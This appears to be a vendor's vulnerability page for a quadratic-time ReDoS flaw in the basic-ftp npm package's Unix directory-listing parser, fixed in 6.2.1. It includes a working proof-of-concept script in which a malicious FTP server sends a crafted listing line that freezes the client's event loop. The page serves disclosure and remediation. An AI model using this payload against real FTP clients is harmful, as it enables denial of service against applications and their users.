CVE-2026-102990

CVE-2026-102990 is a high-severity inefficient regular expression (ReDoS) vulnerability in basic-ftp (npm), affecting versions <= 6.2.0. It is fixed in 6.2.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)

Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.

The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.

Proof of concept

npm i basic-ftp && node repro.js:

const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
  c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
  c.on("data", d => { buf += d; let i;
    while ((i = buf.indexOf("\r\n")) !== -1) {
      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
      if (cmd.startsWith("USER")) c.write("331 .\r\n");
      else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
      else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
      else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
        ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
      else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
      else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
  const client = new ftp.Client(0);
  await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
  let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
  await client.list(); clearInterval(hb);
  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
  process.exit(0);
});

Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.

Impact

One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

Affected versions

basic-ftp (<= 6.2.0)

Security releases

basic-ftp → 6.2.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade basic-ftp to 6.2.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-102990? CVE-2026-102990 is a high-severity inefficient regular expression (ReDoS) vulnerability in basic-ftp (npm), affecting versions <= 6.2.0. It is fixed in 6.2.1. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
  2. Which versions of basic-ftp are affected by CVE-2026-102990? basic-ftp (npm) versions <= 6.2.0 is affected.
  3. Is there a fix for CVE-2026-102990? Yes. CVE-2026-102990 is fixed in 6.2.1. Upgrade to this version or later.
  4. Is CVE-2026-102990 exploitable, and should I be worried? Whether CVE-2026-102990 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-102990 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-102990? Upgrade basic-ftp to 6.2.1 or later.

Other vulnerabilities in basic-ftp

Stop the waste.
Protect your environment with Kodem.